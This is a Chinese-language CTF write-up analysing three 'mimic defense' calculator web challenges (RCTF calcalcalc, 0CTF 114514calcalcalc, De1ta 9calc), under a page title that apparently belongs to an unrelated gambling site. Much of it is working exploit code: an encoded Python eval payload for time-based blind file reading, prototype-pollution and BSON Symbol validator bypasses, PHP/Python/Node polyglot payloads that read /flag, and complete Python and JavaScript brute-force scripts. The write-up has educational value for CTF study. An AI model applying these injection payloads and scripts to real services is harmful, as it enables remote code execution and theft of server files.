凯发k8拟态防御系列问题分析_HUC惠仲娱乐

凯发k8

刚好回家过情人节,闲着无事最后半天登录攻防世界参加了 2019 Delta CTF。Web 题目总体难度不大,SSRF、shellshellshel l 等都是非常基础的操作。因为不太熟悉 Typescript 和 BSON 就没能解出 9calc 题目。虽然已经感觉到题目中如果括号的可能方法,但是一直没能找到正确的利用姿势。

9 calc 是一道拟态防御的题目,也是改编之前 RCTF 的 calcalcalc 和 0CTF 的 114514calcalcalc,所以刚好借着这个机会把这系列题目总结一遍!

正确分析这些题目的姿势,需要 VScode 和 Beyond Compare 做文件对比!

基础概念

在开始研究三道拟态防御系列题目前,首先介绍一些基础概念:

网络拟态防御 网络空间拟态防御(Cyber Mimic Defense,CMD)

类似于生物界的拟态防御,在网络空间防御领域,在目标对象给定服务功能和性能不变前提下,其内部架构、冗余资源、运行机制、核心算法、异常表现等环境因素,以及可能附着其上的未知漏洞后门或木马病毒等都可以做策略性的时空变化,从而对攻击者呈现出“似是而非”的场景,以此扰乱攻击链的构造和生效过程,使攻击成功的代价倍增。

CMD 在技术上以融合多种主动防御要素为宗旨:以异构性、多样或多元性改变目标系统的相似性、单一性;以动态性、随机性改变目标系统的静态性、确定性;以异构冗余多模裁决机制识别和屏蔽未知缺陷与未明威胁;以高可靠性架构增强目标系统服务功能的柔韧性或弹性;以系统的视在不确定属性防御或拒止针对目标系统的不确定性威胁。

以目前的研究进展,研究者是基于动态异构冗余(Dynamic Heterogeneous Redundancy,DHR)架构一体化技术架构集约化地实现上述目标的。

BSON 是一种类 json 的一种二进制形式的存储格式,简称 Binary JSON,它和 JSON 一样,支持内嵌的文档对象和数组对象,但是 BSON 有 JSON 没有的一些数据类型,如 Date 和 BinData 类型。

MongoDB 使用了 BSON 这种结构来存储数据和网络数据交换。把这种格式转化成一文档这个概念 (Document),因为 BSON 是 schema-free 的,所以在 MongoDB 中所对应的文档也有这个特征,这里的一个 Document 也可以理解成关系数据库中的一条记录 (Record),只是这里的 Document 的变化更丰富一些,如 Document 可以嵌套。

MongoDB 以 BSON 做为其存储结构的一种重要原因是其可遍历性。

2019 RCTF calcalcalc

本题提供前后端源码,下载源码,发现 frontend 是 nest.js + express 网站。分析整个程序的逻辑:

  • 用户提交的输入只能包括 0-9 以及 a-z,加减乘除,空格,括号,同时检查输入长度

    if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) {        return false; }        return true; 
  • 有 3 个后端决策器,分别是 php、node 和 python 执行表达式,3 个决策器会对输入进行运算,只有当 3 个决策器返回的结果一致时,才会输出结果。

    app.controller.ts

    const set = new Set(jsonResponses.map(p => JSON.stringify(p)));       this.logger.log(`Expression = ${JSON.stringify(calculateModel.expression)}`);       this.logger.log('Ret = ' + JSON.stringify(jsonResponses));       if (set.size === 1) {         const rand = Math.floor(Math.random() * responses.length);         Object.keys(responses[rand].headers).forEach((key) => {           res.setHeader(key, responses[rand].headers[key]);         });         res.json(jsonResponses[rand]);         res.end();       } else {         res.end('That\'s classified information. - Asahina Mikuru');       } 

审计 calculate.model.ts 源码,所有的用户输入都会在进入 controller 前都会被 ExpressionValidator 验证:

import {ValidateIf, IsNotEmpty, MaxLength, Matches, IsBoolean} from 'class-validator'; import { ExpressionValidator } from './expression.validator';  export default class CalculateModel {    @IsNotEmpty()   @ExpressionValidator(15, {     message: 'Invalid input',   })   public readonly expression: string;    @IsBoolean()   public readonly isVip: boolean = false; } 

继续审计 ExpressionValidator 代码,核心部分如下:

validator: {                 validate(value: any, args: ValidationArguments) {                   const str = value ? value.toString() : '';                   if (str.length === 0) {                     return false;                   }                   if (!(args.object as CalculateModel).isVip) {                     if (str.length >= args.constraints[0]) {                       return false;                     }                   }                   if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) {                     return false;                   }                   return true;                 }, 

用户输入的长度不能超过 15 个字节,但是如果 isVip === true 就不会进行长度验证,所以第一步想办法让 args.object 的 isVip 变为 True

阅读 class-validator 源码:

https://github.com/typestack/class-validator/blob/58a33e02fb5e77dde19ba5ca8de2197c9bc127e9/src/validation/Validator.ts#L323

return value instanceof Boolean || typeof value === "boolean"; 

非常遗憾,netstjs 不会自动把 'true' 转换成 true (不像 Spring),所以直接添加 isVip=True 是不行的。但是 Nestjs + expressjs 支持 json 作为提交的 body:

https://github.com/nestjs/nest/blob/205d73721402fb508ce63d7f71bc2a5584a2f4b6/packages/platform-express/adapters/express-adapter.ts#L125

const parserMiddleware = {       jsonParser: bodyParser.json(),       urlencodedParser: bodyParser.urlencoded({ extended: true }),     }; 

直接这么绕过:

Content-Type: application/json  {"expression":"MORE_THAN_15_BYTES_STRING", "isVip": true} 

本题的一个非预期解,即利用时间盲注,虽然三个表达式无法计算出相同的结果,但是利用 python 后端执行的时间可以猜解 flag 文件。注意本题的三个后端 docker 共享同一个 flag 文件:

eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(116)+chr(105)+chr(109)+chr(101)+chr(39)+chr(41)+chr(46)+chr(115)+chr(108)+chr(101)+chr(101)+chr(112)+chr(40)+chr(51)+chr(41)+chr(32)+chr(105)+chr(102)+chr(32)+chr(111)+chr(114)+chr(100)+chr(40)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(39)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(39)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)+chr(91)+chr(51)+chr(93)+chr(41)+chr(32)+chr(62)+chr(32)+chr(54)+chr(55)+chr(32)+chr(101)+chr(108)+chr(115)+chr(101)+chr(32)+chr(78)+chr(111)+chr(110)+chr(101)) 

作用:

__import__('time').sleep(3) if ord(open('/flag').read()[3]) > 67 else None 

爆破脚本:

# -*- coding:utf-8 -*- import requests import json import string  header = { "Content-Type":"application/json"} url = "http://x.x.x.x:50004/calculate"  def foo(payload):     return "+".join(["chr(%d)"%ord(x) for x in payload])  flag = '' for i in range(20):     for j in string.letters + string.digits + '{_}':         exp = "__import__('time').sleep(3) if open('/flag').read()[%d]=='%s' else 1"%(i,j)         data = {             "expression": "eval(" + foo(exp) + ")",             "isVip":True         }         try:             r = requests.post(headers=header,url=url,data=json.dumps(data),timeout=2)             #print r.elapsed         except:             flag += j             print "[+] flag:",flag             break 

参考:

https://xz.aliyun.com/t/5532

https://github.com/zsxsoft/my-ctf-challenges/blob/master/calcalcalc-family/readme.md

0CTF 2019 114514calcalcalc

题目是在 RCTF2019 CALCALCALC 的基础上出的,相较于 RCTF 的题目,主要的变化有三个 :

  • 修复了时间盲注
  • 将 BSON 换为了 JSON
  • 添加了计算表达式的限制

第一步仍然是长度的限制,和 RCTF calcalcalc 解法一样。

但是本题修复了时间盲注,并使用 JSON 替换了 BSON,app.controller.ts 源码比较(左边是 RCTF,右边是 0CTF):

expression.validator.ts 模块中替换了一个正则表达式验证:

这个模块的 str 赋值语句 :

const str = value ? value.toString() : ''; 

传递的 value 可以是 any 类型,这里利用的是 JSON 原型链污染攻击 ,方式是:

{"expression":"1+1","__proto__":{"b":"114+514"}}

原型链污染发生的原因:

read the src of nestJS, class-transformer to convert json to a target class, but didn’t strip proto

这里的污染利用还有二种:

{"__proto__":{"constructor":null},"expression":"5278123+1", "isVip":true} {"__proto__":{},"expression":"5278123+1", "isVip":true}

但是为什么原型链污染能够使得 str 为 "114+514" ???? 难道是 expression.validator.ts 代码逻辑会遍历 Object 属性,只要有一个满足就返回 True?

在题目中,会将我们 expression 的数据分别传输至 nodephppython 三种后端去计算结果,当返回结果一致时,才输出结果,如果结果不一致,则输出 :That's classified information. - Asahina Mikuru

因此接下来需要找到一个能够同时在三种后端中生效的 Payload,这里我们可以使用注释来同时攻击 pythonphp,再通过 对大整数的不同解析 攻击 node。先给出 Exploit:

import requests import json import string def brute(pos, val):     data = """{"expression":"1//len('''\\n;if([1,0][10000000000000001 - 10000000000000000]){if(require('fs').readFileSync('/flag', 'utf8')[%d]=='%s'){'1';}else{'';} }else{1;}//''') or ['','1'][open('/flag').read()[%d]=='%s']","__proto__":{"b": "114+514"},"isVip": true}""" % (pos, val, pos, val)     r = requests.post("http://192.168.201.16/calculate", data=data, headers = {'Content-Type': 'application/json'})     return r.text     # print(data) flag = '' for i in range(100):     for c in string.printable:         if ("ret" in brute(i, c)):             flag += c             print(flag)             break 

先将构造思路中的两个点拆开来说 :

  1. 大整数的不同解析
  2. 对注释的不同解析
对大整数的不同解析

在 node 中,由于其不支持大整数,因此在计算 10000000000000001 - 10000000000000000 时,会返回 0,而在 php 和 python 中,则能够解析这两者,因此会返回 1,这里便可以通过 10000000000000001 - 10000000000000000 的值来判断执行的语句,对应到我们的 payload 中便是 :

if([1,0][10000000000000001 - 10000000000000000]{     ...     node     ... }else{     // comment } 
对注释的不同解析

有关于这一点,将我们的 payload 放入 python 和 php 的语法高亮规则中便能理解。

Python 3:

open('/flag').read() + str(1//5) or ''' # )//?> function open(){return {read:()=>require('fs').readFileSync('/flag','utf-8')}}function str(){return 0}/*<?php function open(){echo json_encode(['ret' => file_get_contents('/flag').'0']);exit;}?>*///''' 

PHP:

return open('/flag').read() + str(1//5) or ''' # )//?>function open(){return {read:()=>require('fs').readFileSync('/flag','utf-8')}}function str(){return 0}/*<?php function open(){echo json_encode(['ret' => file_get_contents('/flag').'0']);exit;}?>*///'''; 

Nodejs:

open('/flag').read() + str(1//5) or ''' # )//?> function open(){return {read:()=>require('fs').readFileSync('/flag','utf-8')}}function str(){return 0}/*<?php function open(){echo json_encode(['ret' => file_get_contents('/flag').'0']);exit;}?>*///''' 

出题人心得:

Polyglot time.

In RCTF2018, we released cats and cats Rev.2, you can name this challenge as cats Rev.3. A new defense technology Cyber Mimic Defense (CMD) was proposed in 2018. We think it is interesting to create a polyglot challenge based on this idea. So it's polyglot time now.

参考:

https://meizjm3i.github.io/2019/06/11/0CTF-TCTF-2019-Web-Writeup/

https://github.com/zsxsoft/my-ctf-challenges/blob/master/calcalcalc-family/readme.md

https://balsn.tw/ctf_writeup/20190608-0ctf_tctf2019finals/#114514-calcalcalc

另一种思路:

http://momomoxiaoxi.com/ctf/2019/06/11/TCTFfinal/#114514-calcalcalc

还一个思路是,python docker 非常的脆弱,可以通过多进程阻塞打死 python,使其重启,永远 timeout。

node 很容易超时,所以接下来只需要通过 php 来进行获得数据就可以了。

当 php 超时时,返回 timeout。不超时时,返回 Asahina Mikuru。

2019 De1 ta ctf 9calc

同样,和 2019 RCTF 文件对比,主要的改变有下面几点:

  • 修复了时间盲注
  • 正则表达式改动,不允许用户输入括号

注意本题仍然使用 BSON 传递数据,而不是 0CTF 的 JSON

第一步长度绕过和之前的一样。本题的难点就是如何绕过正则检测不允许有空格:

TypeScrit 虽然是强类型语言,但是由于其设计与 Javascript 有关,所有的类型定义在运行的时候会移除,因此 expression: string 我们可以不管,仍然给 expression 传递一个对象 Object。

但是 object.toString() === '[object Object]',测试代码如下:

var a = {}; var b = {name:"ZS"}; console.log(typeof a);//object console.log(a.toString());//[object Object] console.log(a.toString() === b.toString());//true   说明返回值是一样的 console.log(b);//Object {name: "ZS"} 

这样正则表达式检查 str(值为 '[object Object]')是可以通过的。但是我们没有办法让 object.toString() become a useful runnable code。如果前端和后端通过 JSON 进行通信,那这题就真的没办法了,但是

我们知道 Nodejs 可以将 JavaScript 函数传递给 MongoDB,而 MongoDB 没有在 JSON 标准中定义。因此他们引入了 BSON 作为他们的数据交换格式。

幸运的是,我们可以在 javascript 中将对象序列化成 BSON。

审计 mongodb/js-bson 的序列化代码 , 可以发现程序会根据 Object[_bsontype] 判断类的类型而不是 instanceof.

https://github.com/mongodb/js-bson/blob/master/lib/parser/serializer.js#L756

} else if (value['_bsontype'] === 'Binary') {         index = serializeBinary(buffer, key, value, index, true);       } else if (value['_bsontype'] === 'Symbol') {         index = serializeSymbol(buffer, key, value, index, true);       } else if (value['_bsontype'] === 'DBRef') { 

通过搜索,发现 Symbol 类型在 BSON 反序列化得到之后,如果进行 Symbol.toString() 会返回 symbol 对象的 value 值,一个示例如下:

{"expression":{"value":"1+1","_bsontype":"Symbol"}, "isVip": true} 

我的总结:绕过括号检测的核心原理是,expression 的值在正则检验的时候是通过 toString 转换为字符串,因此对象转的结果是 '[object Object]' 可以绕过正则检测。但是传递到后端是通过 bson 的序列化和反序列化之后转换为字符串,这时候对象的 _bsontype 如果是 Symbol,会返回这对象的 value 属性值。

虽然本题的三个 flag 都不一样,但是仍然可以利用回显的差异猜解 flag 文件(类似 bool 注入)。最终的 EXP 利用步骤:

  • 分别针对三个后端构造三种 payload
  • 每个 payload 的功能是(以 nodejs 的为例):让 python 和 php 后端解析返回的 ret 值都为 1,但是 nodejs 会进行一个 flag 字符猜解,如果等于则让 ret 为 1,如果不等于则让 ret 为 0。其他二个 payload 同理。

EXP 发送的某一次 payload 示例(\n 按照回车输出)

1 + 0//5 or ''' //?> require('fs').readFileSync('/flag','utf-8')[5] == 'b' ? 1 : 2;/*<?php function open(){echo MongoDB\BSON\fromPHP(['ret' => '1']);exit;}?>*///'''

EXP 如下:

  • 需要使用 yarn add axios 命令安装好 Axios ——是一个基于 promise 的 HTTP 库。
const axios = require('axios') const url = 'http://45.77.242.16/calculate' const symbols = '0123456789abcdefghijklmnopqrstuvwxyz{}_'.split('')  const payloads = [     // Nodejs     `1 + 0//5 or '''\n//?>\nrequire('fs').readFileSync('/flag','utf-8')[{index}] == '{symbol}' ? 1 : 2;/*<?php\nfunction open(){echo MongoDB\\BSON\\fromPHP(['ret' => '1']);exit;}?>*///'''`,      // Python     `(open('/flag').read()[{index}] == '{symbol}') + (str(1//5) == 0) or 2 or ''' #\n))//?>\nfunction open(){return {read:()=>'{flag}'}}function str(){return 0}/*<?php\nfunction open(){echo MongoDB\\BSON\\fromPHP(['ret' => '1']);exit;}?>*///'''`,      // PHP     `len('1') + 0//5 or '''\n//?>\n1;function len(){return 1}/*<?php\nfunction len($a){echo MongoDB\\BSON\\fromPHP(['ret' => file_get_contents('/flag')[{index}] == '{symbol}' ? "1" : "2"]);exit;}?>*///'''`,  ] const rets = []  const checkAnswer = (value) => axios.post(url, {     expression: {         value,         _bsontype: "Symbol"     },     isVip: true }).then(p => p.data.ret === '1').catch(e => {})  const fn = async () => {      for (let j = 0; j < payloads.length; j++) {         const payload = payloads[j]         let flag = ''         let index = 0         while (true) {             for (let i = 0; i < symbols.length; i++) {                 const ret = await checkAnswer(payload.replace(/\{flag\}/g, flag + symbols[i]).replace(/\{symbol\}/g, symbols[i]).replace(/\{index\}/g, index))                 if (ret) {                     flag += symbols[i]                     console.log(symbols[i])                     i = 0                     index++                 }             }             break         }         rets.push(flag)         console.log(rets)     }  }  fn().then(p => {     console.log(rets.join('')) }) 

参考:

https://github.com/zsxsoft/my-ctf-challenges/blob/master/calcalcalc-family/readme.md